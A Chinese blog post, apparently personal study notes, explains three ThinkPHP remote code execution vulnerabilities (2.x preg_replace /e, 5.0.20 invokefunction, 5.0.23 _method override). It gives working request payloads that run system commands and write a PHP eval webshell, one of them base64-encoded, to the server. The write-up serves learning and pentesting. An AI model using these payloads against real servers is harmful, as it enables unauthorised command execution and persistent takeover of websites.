ThinkPHP

发布于 2024-05-16  260 次阅读


ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。

ThinkPHP2.X 任意代码执行

此版本中,任意代码执行漏洞原因是使用了preg_replace函数的/e模式,核心漏洞代码:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\1\']="\2";', implode($depr,$paths));

根据代码上文,$depr表示目录分隔符,而paths则是将目录分隔符去掉后的一个数组,主要来自于:

$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

我们测试一下:

可以看到这段代码主要作用仅仅是去掉了目录分隔符,并且将去掉后的每一部分字符串按照顺序组成了一个数组,那么就很清楚了,这段代码就是将PATH_INFO这个参数请求下值去掉分隔符排成数组。我们再来看看核心漏洞代码,正则(\w+)'.$depr.'([^'.$depr.'\/]+)的意思是先匹配任意字符串直到匹配到目录分隔符,然后下一个字符一定不能是目录分隔符,就比如abc/这种,$var[\'\1\']="\2";作用是将每两个匹配结果以键和值的方式匹配,implode($depr,$paths)作用是将刚刚的paths的数组重新连接上目录分隔符,就比如刚刚的数组现在变为a/b/c/d。感觉explode就是一个迷惑性函数,看看效果:

所以现在我们只需要构造一个恶意代码,但是如果将恶意代码直接构造在键的位置,那么此键值对将会直接消失,不能够达到目的,但是如果构造在值的位置,那么代码将被执行:

那么我们到底在哪里去执行代码呢?我们在~app.php中找到参数PATH_INFO的值为s:

也就是说,我们进行传参的参数应该就是s,那应该去哪里传参呢?我们一层一层去看,我们知道thinkphp的默认页面就是index.php,我们看一下:

在~runtime.php中run所执行的init函数会调用漏洞代码的文件,所以我们直接向index.php传入参数可以进行代码执行:

实际上主要就是ThinkPHP还支持以下格式解析URL:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]		(参数以PATH_INFO传入)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[&参数名=参数值...]	(参数以传统方式传入)

ThinkPHP5.0.20 RCE

该漏洞主要就是通过默认的url规则调用到invokefunction,来实现执行需要的函数,主要还是对控制器的过滤不严格,利用call_user_func_array可以将第一个参数作为回调函数,将后面的参数传入第一个参数,这样就能进行RCE,payload:index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

如果想要拿到shell也可以利用file_put_contents写马,比如:index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=一句话木马

ThinkPHP5.0.23 远程代码执行

此版本实现了表单请求类型伪装的功能,该功能利用$_POST['_method']变量来传递真实的请求方法,当我们设置$_POST['_method']=__construct时,Request类的method方法便会将该类的变量进行覆盖,利用该方式可以将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

此漏洞主要是由于Request类对调用方法控制不严加上变量覆盖导致RCE,通过自动加载Captcha模块可以直接调用param() 和 method(),这里直接给出payload:

GET index.php?s=captcha

POST _method=__construct&method=get&filter[]=system&get[]=whoami

这里通过captcha模块调用system及其参数

这里拿shell的方式就有所不同,利用file_put_contents会失败,那我们为什么不直接利用重定向符呢?

_method=__construct&method=get&filter[]=system&get[]=echo "一句话木马" > shell.php

但是但是!!!!我们的$_POST会被删除掉,可以尝试用base64编码后写入:

_method=__construct&method=get&filter[]=system&get[]=echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" |base64 -d >shellshell.php

可以成功,没有被删掉:

其他的后面遇到再说吧。


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。